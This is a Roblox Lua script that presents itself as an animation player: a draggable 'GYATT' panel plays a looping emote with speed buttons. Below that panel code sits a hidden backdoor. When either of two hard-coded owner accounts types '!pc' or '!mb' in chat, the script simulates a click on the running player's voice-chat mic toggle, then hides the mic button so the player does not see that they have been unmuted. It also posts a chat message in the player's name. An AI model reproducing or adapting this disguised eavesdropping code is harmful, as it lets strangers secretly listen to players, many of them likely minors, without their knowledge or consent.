local p=game:GetService("Players").LocalPlayer local u=game:GetService("UserInputService") local h=(p.Character or p.CharacterAdded:Wait()):WaitForChild("Humanoid") local g=Instance.new("ScreenGui",p:WaitForChild("PlayerGui")) g.Name="GYATT" local c=Instance.new("Frame",g) c.Size=UDim2.new(0,120,0,160) c.Position=UDim2.new(.5,-60,.7,0) c.BackgroundColor3=Color3.fromRGB(25,25,25) c.Active=true Instance.new("UICorner",c).CornerRadius=UDim.new(0,10) local t1=Instance.new("TextLabel",c) t1.Size=UDim2.new(1,0,0,20) t1.BackgroundTransparency=1 t1.Text="NEED TO BE IN R15" t1.TextColor3=Color3.fromRGB(200,200,200) t1.TextSize=12 t1.Font=Enum.Font.GothamBold local b=Instance.new("TextButton",c) b.Size=UDim2.new(1,-20,0,40) b.Position=UDim2.new(0,10,0,25) b.Text="STATUS: OFF" b.BackgroundColor3=Color3.fromRGB(40,40,40) b.TextColor3=Color3.new(1,1,1) Instance.new("UICorner",b) local s=Instance.new("TextLabel",c) s.Size=UDim2.new(1,0,0,20) s.Position=UDim2.new(0,0,0,70) s.BackgroundTransparency=1 s.Text="Speed: 1" s.TextColor3=Color3.fromRGB(200,200,200) local bp=Instance.new("TextButton",c) bp.Size=UDim2.new(0,50,0,30) bp.Position=UDim2.new(0,10,0,95) bp.Text="+" local bm=Instance.new("TextButton",c) bm.Size=UDim2.new(0,50,0,30) bm.Position=UDim2.new(0,60,0,95) bm.Text="-" local o,t=false,nil local sp=1 local function apply() if t then t:AdjustSpeed(sp) end end b.MouseButton1Click:Connect(function() o=not o if o then local a=Instance.new("Animation") a.AnimationId="rbxassetid://104200871407307" t=h:LoadAnimation(a) t.Priority=Enum.AnimationPriority.Action4 t.Looped=true t:Play() apply() b.Text="STATUS: ON" else if t then t:Stop() end b.Text="STATUS: OFF" end end) local holdPlus=false local holdMinus=false local function holdLoop() while holdPlus or holdMinus do if holdPlus then sp=sp+0.1 elseif holdMinus then sp=math.max(0,sp-0.1) end s.Text="Speed: "..string.format("%.1f",sp) apply() task.wait(0.05) end end bp.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then holdPlus=true task.spawn(holdLoop) end end) bp.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then holdPlus=false end end) bm.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then holdMinus=true task.spawn(holdLoop) end end) bm.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then holdMinus=false end end) local d=false s0=nil p0=nil c.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then d=true s0=i.Position p0=c.Position end end) u.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 or i.UserInputType==Enum.UserInputType.Touch then d=false end end) u.InputChanged:Connect(function(i) if not d then return end if i.UserInputType==Enum.UserInputType.MouseMovement or i.UserInputType==Enum.UserInputType.Touch then local m=i.Position-s0 c.Position=UDim2.new( p0.X.Scale,p0.X.Offset+m.X, p0.Y.Scale,p0.Y.Offset+m.Y ) end end) task.wait(.1) local CoreGui=game:GetService("CoreGui") local Players=game:GetService("Players") local VIM=game:GetService("VirtualInputManager") local Camera=workspace.CurrentCamera local OWNERS={"totoyya152jo332","justanormalnoobie0"} local PREFIX="!" local hidden=false local resolutionProfiles={ {200,500,219,39}, {501,600,234,24}, {601,700,249,24}, {701,800,249,24}, {801,900,264,39}, {901,9999,264,39}, } local function isOwner(p) for i=1,#OWNERS do if p.Name==OWNERS[i]then return true end end end local function findVC() local t=CoreGui:GetDescendants() for i=1,#t do local v=t[i] if v.Name=="toggle_mic_mute"then return v end end end local function hideVC(btn) pcall(function() btn.Visible=false local t=btn:GetDescendants() for i=1,#t do local v=t[i] if v:IsA("GuiObject")then v.Visible=false end end end) end local function showVC(btn) pcall(function() btn.Visible=true local t=btn:GetDescendants() for i=1,#t do local v=t[i] if v:IsA("GuiObject")then v.Visible=true end end end) end -- PC CLICK local function clickPC() local btn=findVC() if not btn then return end if hidden then showVC(btn) hidden=false end local x,y=189,21 VIM:SendMouseMoveEvent(x,y,game) task.wait(.03) VIM:SendMouseButtonEvent(x,y,0,true,game,0) task.wait(.05) VIM:SendMouseButtonEvent(x,y,0,false,game,0) task.wait(.1) hideVC(btn) hidden=true end -- MOBILE CLICK local function clickMB() local btn=findVC() if not btn then return end if hidden then showVC(btn) hidden=false end local h=Camera.ViewportSize.Y local x,y=219,39 for i=1,#resolutionProfiles do local r=resolutionProfiles[i] if h>=r[1]and h<=r[2]then x,y=r[3],r[4] break end end VIM:SendMouseMoveEvent(x,y,game) task.wait(.05) VIM:SendMouseButtonEvent(x,y,0,true,game,0) task.wait(.05) VIM:SendMouseButtonEvent(x,y,0,false,game,0) task.wait(.1) hideVC(btn) hidden=true end -- CHAT HANDLER (WORKING VERSION) local function handleChat(p,msg) if not isOwner(p)then return end msg=msg:lower():gsub("%s+","") if msg==PREFIX.."pc"then clickPC() elseif msg==PREFIX.."mb"then clickMB() end end Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(m) handleChat(p,m) end) end) for i,p in ipairs(Players:GetPlayers()) do p.Chatted:Connect(function(m) handleChat(p,m) end) end wait(1) local c=game:GetService("TextChatService").TextChannels.RBXGeneral for _,m in ipairs({ "AintMyCrib 🤫🧏" }) do c:SendAsync(m) task.wait() end